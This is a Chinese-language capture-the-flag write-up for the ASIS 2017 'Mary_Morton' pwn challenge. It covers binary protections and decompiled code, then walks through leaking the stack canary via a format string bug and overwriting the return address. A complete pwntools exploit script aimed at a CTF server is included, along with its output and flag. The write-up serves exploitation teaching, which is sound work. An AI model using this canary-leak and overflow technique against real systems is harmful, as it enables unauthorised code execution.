ASIS-CTF-Finals-2017 pwn Mary_Morton Writeup
题目描述：
ASIS-CTF-Finals-2017 非常简单的热身pwn
分析思路：
1、首先查看文件的安全信息：
tucker@ubuntu:~/xman/pwn$ file Mary_Morton
Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
tucker@ubuntu:~/xman/pwn$ checksec Mary_Morton
[*] '/home/tucker/xman/pwn/Mary_Morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
我们看到ELF文件开启了canary保护。
2.使用IDA查看：
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
print_info();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
format_string_bug();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
stack_overflow();
else
puts("Wrong!");
}
}我们看到，有两个可以利用的漏洞，具体如下：
unsigned __int64 format_string_bug()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}unsigned __int64 stack_overflow()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}
但是因为启用了canary保护，给我们造成了一定的困扰，在汇编代码中我们可以看到，所谓的canary，就是比较rbp-0x8和fs:[28h]处的数据，如果不相等，则转去异常处理。同时我们又发现，在两个可溢出的函数中，canary是一样的。因此我们可以使用其中一个溢出函数打印出canary的值，然后用这个值去填充另一个可以溢出的缓冲区，就可以绕过检查。
3、首先我们需要找到canary距离我们的buf缓冲区的偏移量。
tucker@ubuntu:~/xman/pwn$ ./Mary_Morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
aaaa_0x7ffc7cff7270_0x7f_0x7f26ca00a081_(nil)_(nil)_0x5f70255f61616161_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0xa70255f7025_(nil)
我们看到，偏移量为6。又因为buf位置为rbp-0x90, canary为0x8,相差0x88, 且8bytes为一个单位，即0x88 / 8 = 0x11 = 17, 17 + 6 = 23，因此偏移量为23,所以我们就可以使用%23$p来打印出canary的地址。
4、由此我们可以写出exp：
# Mary_Morton.py
from pwn import *
sh = process('./Mary_Morton')
sh = remote('111.198.29.45', '42342')
sh.sendline('2')
sh.sendline("%23$p")
sh.recvuntil('0x')
canary = int(sh.recv(16), 16)
print hex(canary)
addr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + p64(61) + p64(addr)
sh.sendline('1')
sh.sendline(payload)
sh.interactive()即可得到flag：
tucker@ubuntu:~/xman/pwn$ python Mary_Morton.py
[+] Starting local process './Mary_Morton': pid 33483
[+] Opening connection to 111.198.29.45 on port 42342: Done
0x684666ef45e35300
[*] Switching to interactive mode
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
-> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{e5a06ac649a26b9b72f38eee318ad00e}
[*] Got EOF while reading in interactive
$